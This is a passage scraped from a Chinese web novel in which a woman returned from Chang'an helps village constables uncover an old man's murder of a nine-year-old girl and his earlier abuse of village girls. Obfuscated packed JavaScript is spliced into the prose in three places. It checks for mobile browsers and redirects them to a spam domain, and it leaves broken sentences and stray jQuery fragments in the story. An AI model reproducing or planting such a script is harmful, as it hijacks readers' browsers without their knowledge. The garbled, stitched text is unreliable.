但有些刺头不那么听话,站在前头的李老根:“李婆婆给他儿子喂老鼠药了?” “你是衙役?打听那么多干什么?”李春来道。 李老根满脸气愤,“那李婆婆和李平安怎么死了?就算李平安是个傻子,她也不能把自己的儿子杀了啊!” 见李村长不回答,李老根看向徐行之,“行之,是不是李婆婆给李平安喂老鼠药了?” 扫他一眼,徐行之道:“不知道。” 从徐行之这里得不到答案,李老根眼珠子转了转,听说是伺候叶小姐的小厮阿竹跑去找李村长报信的,“叶小姐,可是李婆婆……” 叶醒枝没给他把肚子里剩下的话吐出来的机会,“你若是关心,不如先去县衙报官!” “对,没有的事。”李村长摆摆手,“李老根,你回家吧!” 李老根一动不动,“不是李婆婆杀了李平安,那他们母子俩怎么死了?不会又是犯了外重丧吧?” 第一次听到外重丧这三个字,如同听鬼故事一样,叶醒枝有一二分的害怕,毕竟犯忌讳总是不吉利的,但此时此刻再听到这三个字,一股怒火窜上叶醒枝心头,正是外重丧这一流言,让九岁的二丫才含冤而死。 “不是。”叶醒枝冷声道。 “这是死的第五个人了,不是外重丧那是什么?”李老根不服气,“行之,你是秀才公知道的多,你说说咱们村走没的那几个人中有没有犯外重丧的?他们找了邻村的马神婆算了,说是没有,我总觉得不准。” 徐行之神色淡淡,还是那句话,“我也不知。” 李老根又道:“你不是秀才公吗?二丫她爹和李大牛他老头子是伯侄,二丫她娘和李婆子也是六亲内,这不就是犯了外重丧吗?不过是二丫替她爹娘挡灾了!李婆婆和李平安也是这样死的吧?” 徐行之薄唇轻启,“或许吧。” 听到这三个字,叶醒枝蹙了蹙眉,徐行之什么意思? 他明知道李婆婆和李平安死亡的真相,却用模棱两可的三个字,把二丫的命案和李婆婆、李平安之死往犯了外重丧上引。 徐行之身为整个山下村才学最高之人,他不该不知道自己说出这句话会有什么样的后果,村民们会对“犯了外重丧”这一流言越发深信,若不是李婆婆自尽前把目睹的线索告诉了她,在山下村村民口口声声的“外重丧”中,九岁的二丫永远不会有瞑目的那天。 有了徐行之这简短的一句话,李老根仿佛有了靠山,对着叶醒枝道:“叶小姐啊,你是官家小姐,不知道这些忌讳。村里有人犯了外重丧招了煞气,才会死这么多人,你还是快点回去老宅吧,别夜里吓得睡不着觉。” “是吗?”叶醒枝轻笑一声,“可我有什么好怕的!山下村家家户户沾亲带故的人不是我,若真有什么外重丧,指不定下一个就是你!你又为何这般盼着村里有重丧煞?” 李老根脸一白,“没…没有。” 像是看到了白日鬼一样,李老根灰溜溜跑走了! 叶醒枝收回目光,暂时把对李老根的怀疑压在心头,没记错的话,二丫的尸体从老李山上用门板抬下来的那天,围着的村民中最先嚷嚷着外重丧的就是李老根,只是那时候叶醒枝还不知道他的名字。 “都散了,快散了,这有什么好看的,小心夜里李婆婆和李平安去你们梦里找你们!”拿出一村之长的威严,李春来沉着脸呵斥道。 很快,聚在李婆婆家院子里的村民散去了大半,这一招李春来是跟着叶醒枝学的,方才叶醒枝的一番话,就让李老根这个刺头说不出一句屁话跑走了,李春来有样学样。 李婆婆家人丁不旺,住在西村,和西村那二十来户的徐家人不是本家,平日里和东村的村民也来往不多,李春来找个几个人帮忙操办后事,叶醒枝也把李婆婆交代的遗言告诉了李春来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458004|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李婆婆早就把自己和李平安的棺材打好了,望着堂屋的两具棺材,李春来叹口气,他这个村长没有当好啊,不到半个月,山下村走了五个人了! 李春来背着手,回东村前,对叶醒枝和徐行之道:“叶小姐,行之,下午我过来的时候只有你们两个在,你们两个和我讲讲到底是怎么回事。” 去李村长家的一路上很是安静,叶醒枝有意和徐行之保持着距离,三人一言不发。 来到堂屋里,叶醒枝拦住了李春来烧水倒茶,“李村长,不用客气了。” 她开门见山,“前几天我托李婆婆给葵葵编一些小竹筐、小竹篮等物,今日午时李婆婆把东西送来,却不要银钱,我下午过来是给她送那一吊钱的。我推开门,看到了平安叔的尸体。李婆婆坐在地上痛哭不已,她说梦到了平安叔他爹爹来接她,感知到自己活不了几天了,她放心不下平安叔,担心自己走后无人照顾平安叔,所以才买了老鼠药。” “后来李婆婆把我推出来穿上门闩,在西屋自缢了!李村长,李婆婆她比任何人都要痛苦,她说她有愧,说自己不得好死!” 李春来长长叹口气,老母杀儿,有违纲常,生生世世投胎到畜生道里都不为过,但李婆婆没有更好的法子了! 依照李春来的意思,他会凑些钱给李婆婆和李平安好好办一场丧事,把老母杀儿的事情压下来,对外说是李婆婆年纪大了是喜丧,而李平安脑中有疾几十年,今个一觉没醒来就走了,“一旦报官闹大了,外人会怎么看我们山下村,还有人愿意嫁进我们山下村吗?还是用犯了外重丧糊弄过去吧,行之,叶小姐,你们说呢?” 徐行之并无不可,“李村长考虑的是。” 闻言,又一股怒火从叶醒枝的心头窜出,只是,这股怒火不是对准李村长,而是徐行之。 徐行之竟然同意了重丧煞之说? 即便徐行之不知道二丫遇害的真相,但山下村一连死了这么多人,外重丧的流言又在村里广泛传播,李婶子口中这位天资聪颖的徐大秀才,难道就没有一丝怀疑吗? 她不可相信! 叶醒枝出了声,“李村长,并非醒枝要插手山下村村中事宜,李婆婆和平安叔去世一事确实不可声张,但报官是必须的。” “为何?”李春来大为不解。 看了徐行之一眼,叶醒枝没有回答。 这位从长安而来的叶小姐轻飘飘的一眼,徐行之自是感觉到了,“家中还有事,行之就不打扰二位了。” 等徐行之离开,叶醒枝吐露真相,“李村长,请您赶快去报官,二丫不是从山上摔下来摔死的,李婆婆临终前告诉我,二丫不见的那天,她看到二丫往西村里头去了,西村最里面只有徐老七一个人住在那里,请您不要声张,去找衙役来调查!” 李春来亲自去了县衙,快到县衙他那僵硬发凉的身子还没缓过来,谁能想到山下村藏着一个杀人魔呢? 夕阳铺在回徐家的路上,想着今日下午发生的变故,那位叶小姐要和李村长谈要事,徐行之并不感兴趣,只希望叶醒枝别坏了他的计划! 13. 找到凶手,重男轻女 从李春来家离开,叶醒枝大脑空白,不知过了多久,她发现自己已经到了老宅门口。 推门而入,正在摆着小竹盘小竹筷玩过家家的陆葵葵抬起头,哒哒跑过来,“娘亲,李婆婆怎么了?” 静默许久,叶醒枝拍了拍陆葵葵的脑袋,“李婆婆她…走了。” “婆婆去哪儿了?”陆葵葵不明白。 “去地底下了,和你舅姥爷一样。”叶醒轻声道。 “呜……”陆葵葵眼眶红红,小小的她知道李婆婆这是死了。 李婆婆给她用狗尾巴草编过小兔子,给她做了一整套小竹篮小竹筐的小玩意儿,陆葵葵很是喜欢李婆婆,带着哭腔道:“娘亲,李婆婆是生病了吗?” “对。”叶醒枝没有解释太多。 老母杀傻儿,为何一切苦难总是让李婆婆和李平安遇到?哪怕上吊自缢的那一刻,李婆婆也没有得到解脱! 许是看出了叶醒枝的不高兴,陆葵葵跑出老宅,去到路边摘了朵小粉花,藏在小手里,“娘亲,葵葵给你表演个幻术。” 叶醒枝强打精神,“什么幻术?” “铛铛铛,葵葵的手里会开花。”肉乎乎的小手伸到叶醒枝面前,一朵粉嫩可爱的小花躺在陆葵葵白嫩嫩的手心里,“花花送给娘亲,娘亲不要不开心!” 明明只是一朵叫不上名字的小野花,却真如同幻术一样,把叶醒枝心中的惆怅、害怕与难过席卷而走。 “谢谢葵葵,娘亲很开心!”把陆葵葵抱在怀里,叶醒枝露出笑。 这一夜失眠是必然的,但好在叶醒枝的身边躺着一个“小葵花”,看着陆葵葵青蛙般的睡姿,叶醒枝最终静了了心。 身为告发者,翌日上午,河清县衙役王东与陈山来了山下村。 李春来的妻子和王东的母亲有六亲关系,山下村的官司都是王东来调和。 让叶醒枝仔细把案情再说一遍后,询问过李春来,王东又问道:“叶小姐觉得村中何人嫌疑最大?” “自然是徐老七,李婆婆说她站在自家院子里看到了二丫往西村里面去,而里面只有徐老七一户人家,他一个人住。并且,徐老七很是鬼祟,他还数次偷窥我和葵葵,一次是在他自己家,一次是来了老宅附近。我回乡后,村中也有其他人对我好奇的,但徐老七的眼神和他们不一样,李村长也是知道的。”叶醒枝道。 李春来接过话,“是有这回事,前几日叶小姐和我提过。仔细一想,徐老七确实不常出门,但有孩子到他家,他常拿饴糖和花生给村里的小孩儿吃。” “还有其他人吗?”王东已大致了解案情,但徐老七五六十岁的老头子,整日闭门不出,和二丫爹娘也没有仇怨,按理说不至于对二丫一个九岁的女娃娃下毒手。 叶醒枝脑中浮出一张面孔,“李老根。” “为何。”王东问道。 李春来也吃了一惊,李老根是村里有名的刺头,前段时间不知道从何处发了狗屎财,顿顿割肉吃,还给自己媳妇儿买了根银钗子,但他就更不至于对二丫下毒手了,因为李老根和二丫爹娘是亲戚。 等李春来把这番话说出来,叶醒枝想了想,“我倒没有实际证据,只是最开始在村里传播犯了外重丧流言的,就是李老根,二丫的尸体从山上被抬回来的那天,他第一个提了外重丧。还有昨日他也很奇怪。” “除了二丫,他好像还想把李婆婆和平安叔的离世归咎于外重丧,像李婶子也相信,但不会像他这样固执。既然李村长说他们亲戚关系,那李老根更不该这样做,不为二丫讨一个说法,而是说遭了厄运是重丧煞害人,对二丫爹娘没好处,按理说对他也没好处。” 叶醒枝最后几句话,让王东觉得有道理,一般嘴上念叨鬼神之说的,其实有自己的小九九,对李老根没好处的事情他偏偏要做,这很反常。 “还有吗?”王东惯例问道。 即便山下村其他村民有嫌疑,叶醒枝也不认识啊,绞尽脑汁想了想,叶醒枝试探地道:“徐行之?” “徐秀才?”这下子连王东都惊诧万分。 “他的异常和李老根差不多,子不语怪力乱神,但他好似认可李老根的重丧煞之说。”李婶子说徐行之是歹竹出好笋,但经过昨天,叶醒枝觉得徐行之就是个歹竹! 不过叶醒枝又补充了一句,“当然也有可能是徐行之与人为善,才没有当面反驳李老根。” 李婆婆没了,叶醒枝的存在就至关重要,王东去见二丫爹娘前,“还要劳烦叶小姐随我们走一趟。” 二丫她娘说二丫的尸体从老李山上用门板被抬下来的时候,衣裙破烂,像是被山上的枝木划的,面庞发紫,指教里有皮屑,头上戴的头花也不见了,闻言,叶醒枝试着把样式画了出来。 两位衙差看后,由李春来带着,叶醒枝和王东、陈山先去了西村李婆婆家中。 李婆婆和李平安的棺材还摆在堂屋里,来到叶醒枝所站之处,王东发现确实和叶醒枝说的一样,李婆婆家地势高,站在李婆婆家院子最东边,可以看到村道上的情景,而过了拐弯处,再往里只有徐老七一户人家。 当然,拐弯处到徐老七家门口的情况是看不见的,李婆婆虽说自己在院子里编了一下午的竹篮没有看到二丫回来,但这份口供也不能百分百确定徐老七的嫌疑。 王东和陈山两人挎刀而去,敲响徐老七家的木门,两人一通搜查。 王东找了几遍,没找到二丫的头花,不过,徐老七右手手背上的几道划伤,就是最好的证明。 但徐老七的几个侄子站了出来,不让带走人,“我大伯本来是能够娶上媳妇生孩子的,但是当年遭了灾我们徐家太穷了,他把娶媳妇的钱给了我爹,才有了后来我们兄弟几个。我大伯就和我们的爹差不多,他手上的那几道,我还说是村里哪家养的猫挖的呢!” “我大伯六十来岁的人了,他能杀人吗?王衙差,平日里您来山下村,我们兄弟几个可都是很敬着您的,非说我大伯杀了二丫,那您和陈衙差要拿出证据啊!” 王东和陈山不太耐烦,此案棘手之处在于,换成其他年轻力壮的嫌疑人,有叶醒枝的口供加上徐老七右手手背的划痕,就可以先把人抓到县衙里关上几天,可徐老七一个花甲老人,到时候死在大牢里怎么办? 不仅徐老七的侄儿侄女会来闹事,事情闹大了背锅的还是王东和陈山这两个衙差。 再者,徐老七这几个侄子侄女可不是吃素的,虽然徐老七是光棍,但徐家算是山下村的“大户人家”,徐老七的几个侄子侄女带着一家老小去吃席都得坐好几桌。 要是在河清县,王东和陈山两位衙差可不怕,但来了山下村,别说自缢身亡的李婆婆害怕,就是挎着刀的王东也有些怕呢。 所以,要想给徐老七定罪,今日必须得找到二丫的头花。 王东问道:“叶小姐,李村长,你们可有发现?” 叶醒枝和李春来俱是摇头,只能在外面看看了。 “七爷平常连门都不出,还常给我家孙儿饴糖吃,怎么可能是七夜杀的二丫!”徐老七家门前的土路上围了不少村民,都不相信二丫是被徐老七杀的。 山下村村民的议论从叶醒枝耳边飘过,她打量着这座青砖小院,距离二丫遇害已有十日左右,徐老七的这座青砖小院里没有证据倒也不意外。 叶醒枝在心里推测,若二丫死于徐老七之手,尸体从徐老七家里被送到山上,二丫戴的头花可能是在此过程中掉落,可能已经被徐老七销毁或是藏起来了。 叶醒枝对着王东道:“山下村这么大,找一朵头花何其不易,不如诈一诈他?” 人群最外围,一道清润的声音同时响起,徐行之长身玉立,“您和王衙差屋里屋外再寻找一遍,然后告诉徐老七,说你们已经找到了二丫的珠花,坦白可从宽,观他反应。” 等陈山过来,听陈山这么一说,王东感叹道:“呦,叶小姐,你和行之想到一块去了!” 绕着徐老七的院子转了一圈,叶醒枝不禁思索,如果她是徐老七,会怎么销毁这朵头花? 烧掉?还是扔了? 徐老七六十来岁的人,又不常出门,把二丫的头花扔到十万八千里开外,倒是不太可能。 徐家小院左右两边都是杨树林,后面靠着小山坡,走到左边一棵杨树下,叶醒枝脚步一顿,这里有个地瓜窖。 叶醒枝观察地瓜窖的时候,余光看到一道颀长的身影。 是徐行之。 徐行之也在盯着这个地瓜窖看。 叶醒枝继续观察,李婶子家中也有这样的地瓜窖,春冬时节放地瓜、白菘等蔬菜过冬,但与李婶子家不同的是,徐老七家的这个地瓜窖盖得严严实实,像是废弃不用的样子,但叶醒枝把徐老七家里里外外看了一圈,并没有发现第二个地瓜窖。 对于村里人来说,其实不太会把地瓜窖盖这么严实的,开春了他们也还要吃窖里的地瓜、白菘、萝卜等蔬菜,盖太严实反而很麻烦,李婆婆家的地瓜窖就是用块破石板随便挡了一挡。 正要把异常之处告诉王东和陈山,这时,两位衙差快步跑了出来,对着叶醒枝和徐行之道:“刚才我们说了后,徐老七总是往门外看,但外头就是土路,什么都没有啊!” 叶醒枝:“或许是这个地瓜窖。” 徐行之:“可以把地瓜窖打开一看。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458005|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人的声音同时响起,王东和陈山两位衙差一愣,急忙招呼两个村民把盖着地瓜窖的石盘、石头和柴禾堆抬走。 果不其然,在地瓜窖的一堆白菘里找到了一朵头花。除了头花,还有帕子、头绳等物。 “是二丫的头花!”二丫她爹娘扑过来,又是愤恨,又是感激! 若不是李婆婆和叶醒枝,二丫的头花会在徐老七家的地瓜窖里慢慢腐烂成泥,不被任何人发现。 这一次,徐老七的几个侄子侄女瞠目结舌,再也不敢阻拦了! “有李婆婆这个人证,有叶小姐的口供,又在徐老七家的地瓜窖里找到了二丫的头花,他全都招了。”案件结束,李春来从县衙回来把消息告知山下村村民,不过徐老七杀人的原因,李春来很是不好意思吐口,“他那个老不死的娶不上媳妇,年纪又大了,还惦记着那档子事,咱们村里的媳妇没人搭理他,他就对二丫这样的女娃下手,一把糖和花生就能把咱们村里的女娃领进他屋子里。” “那天李大牛他老头子没了,李婆子家也在办白事,村里的人下地的下地,没事的都去这两家帮忙了,西村没啥人在家,李婆婆待在院子里编竹篮,看到二丫来了西村,往里头去了,她还和二丫说了几句话,但一直没看到二丫回来,后来听说二丫的尸体从山上被抬下来,她就知道是徐老七这个老不死的杀了二丫。李婆婆害怕说出来了,徐老七再把平安给杀了,直到走前,把这件事告诉了叶小姐。” “也是凑巧,偏偏那天村里人都不在家,想着村里没人,徐老七就……” 李春来都替徐老七这个老不死的脸红,“二丫闹着要回家,徐老七知道二丫爹娘疼她,害怕二丫告诉她爹娘,下手重了些就把二丫给捂没气了!他想把把二丫的尸体放到地瓜窖里,但地瓜窖就在路边,他怕有人闻到臭味,摸黑把二丫扔到了老李山上,装成是二丫上山从山上摔死了。第二天他在屋里看到了二丫的头花,那老不死的做贼心虚,不敢再上山,就把二丫的头发还有那些帕子、头绳都扔到了地窖里。” “至于其他的帕子和头绳,徐老七说有些是给他侄孙女买的,有些是捡的。” 一片哗然,山下村村民印象中的徐老七是个不常出门、又疼爱村里小孩的七爷,十个小孩里有八个都吃过徐老七给的糖和花生,即便李春来把案件详情都说出来了,还是有几个村民不敢相信,“我家小花也去过徐老七家,去了好几次呢,没听她说过啊!” “是啊是啊,我也没听我那孙女说过。” …… 李春来扫这几个人一眼,“那不更好?” 叶醒枝却是不由得皱起了眉,依照她看话本子的经验,徐老七一个六十来岁的老人,打了半辈子光棍,绝对不会是到了自己六十这一年才心痒难耐,在二丫之前,定然还有其他村里的女娃被徐老七哄回家里欺负过,那些帕子、香囊就是证据。 若徐老七是给侄孙女买的,为何不送去?若是他捡来的,又为何放到地窖里? 叶醒枝心想,徐老七用饴糖花生这些零嘴把村里的女童哄回家后,欺负了她们,随后留下女童们的头绳和帕子,可能是为了威胁这些女童。但徐老七杀死二丫后,还冒着风险留下二丫的头花,那只有用来怀念了。 徐老七这个老不死的,对欺负九岁二丫的滋味念念不忘! 叶醒枝差一点把早上喝的粥吐出来,徐老七这个老不死的,把他扔到老李山上让野猪一口一口啃食都不为过。 但更让叶醒枝心惊的是,山下村没有一个女童敢把这件事告诉自己的爹娘或祖母。 二丫被徐老七捂着嘴巴杀害,是因为徐老七知道二丫的爹娘疼她,二丫回去后定然把这件事告诉自己的爹娘,其他女童不敢这样做,背后的原因,又让叶醒枝感到心酸。 不外乎是那几个原因,村里的女童不知道自己是在被徐老七欺负,或者是她们不敢说出来。 而不敢说出来的原因,归根究底是重男轻女,她们没有二丫那样的底气。 叶醒枝打算找李春来谈一谈此事,如若在五年前、十年前徐老七的禽兽行径就被揭穿,那二丫便不会遇害,更可怕的是,不知道山下村有多少女童受过徐老七多少次的欺负! 与人群隔着段距离,李春来和村民们的说话声飘入耳中,日光和煦,落在徐行之的眉眼间,徐老七猥亵村中女童、杀害二丫,没想到把徐老七这个禽兽不如的狗东西揪出来的会是这位回乡才两个月的叶小姐。 叶醒枝倒是聪明,不过把他的计划全打乱了,“犯了外重丧”这一流言不攻自破,日后再在山下村中提起,应当没一个村民会相信了!要除掉那一家子,他还得等其他时机。 14. 他是绿茶 “叶小姐,重男轻女那肯定是有的,但我们山下村还算好的了,家家户户都能给女娃们一口饭吃,也没人把女娃们像葵葵一样扔山上。” 听闻叶醒枝的来意,李春来道。 “可她们受欺负了不敢找父母撑腰,和被扔山上喂狼吃有何区别?一个是没了命,一个是精神上的恐惧。”叶醒枝道:“若是山下村再出来第二个徐老七,又该是三丫还是四丫遇害?那些活下来的人,哪怕是日后嫁人生子了,想起来也是会害怕的。” “这……” 李春来哑口无言。 但即便叶醒枝特意来李春来家走一遭,也是商量不出来解决办法的,山下村位置偏僻,村民们的谋生不过是种地、上山打猎、去镇上或者河清县做体力活,像叶醒枝舅舅那样在河清县开酒楼或者是像徐行之那样在县学读书,少之又少,这种情况下,重视儿子是必然的,即便二丫生前深受其爹娘的宠爱,但等她出嫁时,二丫爹娘也不会拿出家里的粮田给她当陪嫁。 纵使让李春来召集村民们,让山下村的人多多疼爱自家的女儿,也是不会有什么改变的。 叶醒枝深知这一点,回老宅的一路上,心头像是绑了块石头,等回到老宅躺了一会儿,陆葵葵清脆的玩闹声透过窗棂传入叶醒枝的耳中,叶醒枝回过神,是了,重男轻女的又不是她,她干嘛要不高兴? 唉声叹气是解决不了问题的,她一定要好好保护陆葵葵,要当一个可以让陆葵葵倾诉秘密的好娘亲! 徐老七这个老不死的被撕开真面目,山下村有些人心疼遇害的二丫,有些人家则是庆幸。 听到李婶子这样说,叶醒枝出了声,“婶子,我看过一本书,书中说似徐老七这样的杀人犯,极有可能不止一次动邪念。” “枝枝,你的意思是徐老七那个老不死的还有可能对村里其他女娃……”李婶子吃惊地说不出来话。 叶醒枝没有直言,只是道:“书中是这么说的。书中还说,有些恶人有恶癖,会留下受害者之物来满足自己的恶癖,倒是和徐老七相符。” 其实这不是书中说的,只是叶醒枝的猜测。 明面上被徐老七欺负的女娃只有二丫,实际上有些被欺负之人可能已经嫁人生子了,这些事是不可能再被翻出来的,倒是便宜了徐老七,但叶醒枝用“书中之言”来提醒李婶子,李婶子在私下的闲谈中,必然会把这番“书中之言”告诉村中其他妇人,而李婶子这般的乡下人,最是信“书中之言”,加上还有在地瓜窖里找到的那些帕子和头绳,如此一来,山下村村民心中有了数,应当不会再重蹈覆辙。 和叶醒枝想的一样,李婶子风风火火“人脉”强大,不过两天,全山下村妇人都知道了这番“书中之言”。她们根本不敢明说,但回家后都偷偷问了自家闺女或者孙女。 徐老七称自己没想杀死二丫,加之年岁已高,本来可罪减一等,但山下村不少妇人带着自家当家的和儿子们来到县衙,要求处死徐老七。 加上有二丫爹娘在县衙门口的悲嚎,时任河清县县令的赵意,听取民意,判了徐老七一死! 经此一案,王东、陈山两位衙役对这位从长安而来的叶家小姐有了几分敬佩,其实徐大秀才徐行之能发现徐老七家地瓜窖的异常不奇怪,换成山下村其他村民也不奇怪,因为家家户户都有地瓜窖,开春了还是得吃地瓜窖里储存的地瓜、白菘和萝卜,为了方便下窖,大部分人家只是用木板或者石盘来遮盖,断不会像徐老七这样盖了三五层。可偏偏没有一个村民发现,最终发现异常的是叶醒枝这位从长安而来的官家小姐。 于是,再次来到山下村的时候,王东先是去了李老根家中一趟,当日叶醒枝猜测李老根也有嫌疑。 二丫的头花从地瓜窖里被拿上来后,徐老七把什么都招了,李老根自然没有杀害二丫,至于山下村死的其他几个李家人,王东和陈山一番调查后,确定李大牛他老头子和李婆子是喜丧,李婆婆是自缢,李平安死于李婆婆喂的那一碗老鼠药汤,这都和李老根没有关系。但奇怪的是,来到李老根家,李老根的慌乱和异常掩饰都掩饰不了。 王东找到李村长以及和李老根相熟的村民打听其异常之处。 “李老根没啥不正常的啊,就是最近发财了,给他媳妇儿买了根银钗,说是去镇上卖菜的时候遇到一个有钱的地主,把他菜全买了,还打赏了他几两银子,他疼媳妇,就把银子花媳妇身上了。” “李老根?除了下地就是吃饭的时候端着碗串门子,我们吃饭的时候就是说些地里活家里事,没啥不正常的啊!哦,他前段时间神神叨叨总是提什么地仙和外重丧,也不知道是不是撞见脏东西了?” 山下村村民都是这样的说法,王东怀疑是自己和叶醒枝想多了,于是不再打听,就近来到徐家讨碗水喝。 徐家是山下村最富裕的一户,尤其徐大秀才徐行之的书房,古朴又干净,王东这样的衙差,来村里办案自然不愿委屈了自己。 喝了盏茶,王东顺嘴把半下午的成果告诉了徐行之 听到李老根这个名字时,几件往事浮现徐行之脑中,他面上不显,薄唇轻,“打赏几两银子?” “怎么了?”王东又灌了一盏茶。 虽然在叶小姐的口中,徐大秀才也是嫌疑人之一,但王东觉得徐行之这样有天资的读书人绝不会手沾人命的! 徐行之淡声道:“哪位地主如此大方?打赏几两银子,可是够买半亩地了。” 两碗清茶下肚,加上徐行之这一番话,王东渴得不行的脑子终于转了起来,“对啊,这李老根说谎了?” 徐行之:“我并不知,只是觉得出手再阔绰的地主,也不至于为了几筐子菜一下子打赏几两银子,地主多吝啬,可以从此处查一查。” 山下村多山,无论粮田还是菜地,都是一块块分散开来,非要在村里找两个地主出来,那只有徐行之家和李村长李春来家,但这两家也不是靠地多而发财,因为整个山下村可居住、可种粮种菜的地就不多,分摊到每位村民头上,少的一户不过一两亩地,多的一户也不过三五亩。 等于说山下村是没有地主的,村民们靠山吃饭,所以李老根能编出“某地主一下子打赏几两银子”的荒诞借口,实际上徐行之相识的地主们都很吝啬,要把从嘴里手上省下来的银子拿去买地。 比如曾来徐家向徐行之堂哥徐众望提亲的那位高地主就是如此,高地主一顿只吃两个菜,还都是地里长出来的素菜,当时愿意拿出五十亩地当陪嫁,可以用“割其肉放其血”来形容,高地主是盼着徐众望在县学读书能够考取功名,才愿意拿出五十亩地。后来被徐众望、徐东来和王霞拒了这门亲事,高地主直接给自己闺女招了赘,这样一亩地都不用往外拿了。 高地主这样家中有二百多亩的大地主,都不会给下人打赏几两银子,整个河清县比高地主阔绰的地主又能有几个? “行之,还得是你啊!”王东又灌了几口茶,离开了徐家。 书房恢复安静,徐行之来到木窗旁,看向徐众望的厢房。 徐众望所住的厢房和书房是整个徐家最大最好的,正月到现在,除了前段时间徐众望回来过几天,徐行之再没有在徐家见过徐众望,但正是那几天,他听到过李老根的声音。 李老根来徐家找过徐众望,被徐众望亲切拉去了书房。 徐行之想,李老根若是有古怪,可能和徐众望脱不了干系! * “叶小姐,多亏有您,我家二丫才没有死不瞑目!”二丫爹娘到了李家老宅就要跪下磕头。 叶醒枝急忙拦住,“你们该感谢李婆婆,是李婆婆把真相告诉了我。” 最初得知李婆婆瞒着这件事没有立即说出来,二丫爹娘有过些许怨恨,但叶醒枝说的对,他们更多的是感谢,“我们往后会给李婆婆和李平安扫墓的。” 等衙差王东再来山下村的时候,叶醒枝把他请到老宅里,提了收养陆葵葵为养女、给陆葵葵办户籍一事,王东道:“叶小姐,李村长之前来县衙说过这事,还是得再等等,等过两三个月实在找不到葵葵她家里人,那才能在山下村落户。” 王东最后又来了一句,“赵县令去年来了河清县上任,管得严。” 叶醒枝笑着道:“赵县令一心为民,这是好事。” 幸好陆葵葵从七年后穿回来直接来到了她身边,也幸好这些赵县令尽职尽责,不然陆葵葵早就成别人家户籍上的孩子了。 李老根发的那一笔财确实有古怪,奈何连个事主都没有,王东和陈山两位衙差也不能直接拿了人去县衙里打一顿,不然,他们两个会先挨到赵县令的的板子。 王东往山下村跑了几趟,便不再过来。 县学门口,王霞拿着包袱等了好久,才等来自家儿子,不过徐众望是从外边回来的。 王霞远远就闻见了徐众望身上的那股脂粉味,“众望啊,还是得好好读书,你要是明年能考上秀才,什么好姑娘找不到?” “娘你放心,我是看书看累了才偶尔去一下。”徐众望不太耐烦,倒是问起了另一件事,“最近村里可有什么事?” “死了几个人,那徐老七竟然还把二丫给掐死了,从长安回来的那位叶小姐让李春来报的官,王东和陈山来咱们村里把徐老七给抓走了。”王霞不在意地道:“众望啊,你别担心这些没用的事。” 徐众望问道:“叶小姐是谁?” “河清县酒楼叶老板的外甥女儿,叫叶醒枝,她爹可是长安的官,好像是什么博士,前段时间回了山下村为她舅舅烧七。”王霞道:“我也不懂这些,众望啊,你要是今年就能通过院试有了秀才的功名,趁着这个机会,娶个叶小姐那样的官家小姐也不在话下,可惜了,等明年人家叶小姐早就回长安了。” 徐行之十岁就成了秀才,而徐众望在县学读书多年,连个童生都不是。 长安来的管家小姐? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方才抱不平的那位学子继续道:“这不更说明行之关心你吗?多给你带些东西不好吗?我家中堂弟若是如此牵挂我,我欢喜不已,今日都能多读一个时辰的书。” 又有学子跟着道:“徐兄,你可太伤行之的心了,退一万步说,假关心也总比没人关心你要好,何况行之可不是那般虚伪之人,你当真是不知福啊!来来来,行之,你好久没来县学了,来我这里,我积攒了好久的文章,你给我指教指教。” “我也去。” “加我一个。” …… 春光落在徐行之清逸的面上,笑道:“谈不上指教,我许久未来县学,不如诸兄有进益,也是和你们一样攒了不少文章,等着来县学找你们指教!我还带了些槐花,你们别嫌弃,让膳堂弄些槐花鸡子饼,再泡一壶槐花茶,我们边喝边谈。” 一位学子道:“呦,槐花可是风雅之物,我正好这一口!” 如此一来,方才还为徐行之抱不平、严厉谴责徐众望的那些学子,已经彻底忘记了徐众望的存在。 徐行之倒是还惦记着徐众望,歉疚一点头,“堂兄,我先过去了。” “你……”徐众望手指头抖动着,仿佛能够被气中风。 徐行之唇角噙着笑,不错,又是春光宜人的一天。 徐行之越是有礼歉疚,徐众望就越是要气爆炸! 围着的人群很快散去,只剩徐众望这个不被待见不知福的“孤家寡人”留在原地。 他本就不怎么养眼的一张脸因生气越发扭曲,又来一次,在县学的这几年每次都是这样。 徐行之扮演着尊敬兄长温文尔雅的堂弟,但其实他是一杯冒着热气的绿茶,故意做些虚伪的事、说些虚伪的话来激怒他,徐众望控制不住情绪一回击,就会有无数学子为徐行之抱不平,对着他一顿数落。 这还不算完,把他狠狠数落一顿后,那些学子再和徐行之“同窗相和”,像是没徐众望这个人似的,完全不把徐众望记在脑中。 在县学的这几年里,徐众望过的就是这样惨绝人寰的日子,被人嫌弃粗鄙脾气不好,被人指责不领徐行之的情,没有手足之情,再被所有人无视。 徐众望恨不得钻进县学的地缝里! 徐众望又生气又丢人,一整天都没敢去膳堂进食,夜里,却是又看到了徐行之。 徐众望咬牙切齿,“你又来干什么?” 颀长的身姿立在门口,徐行之道:“来和堂兄说些家常话。” 徐众望哼了一声,“用不着。” 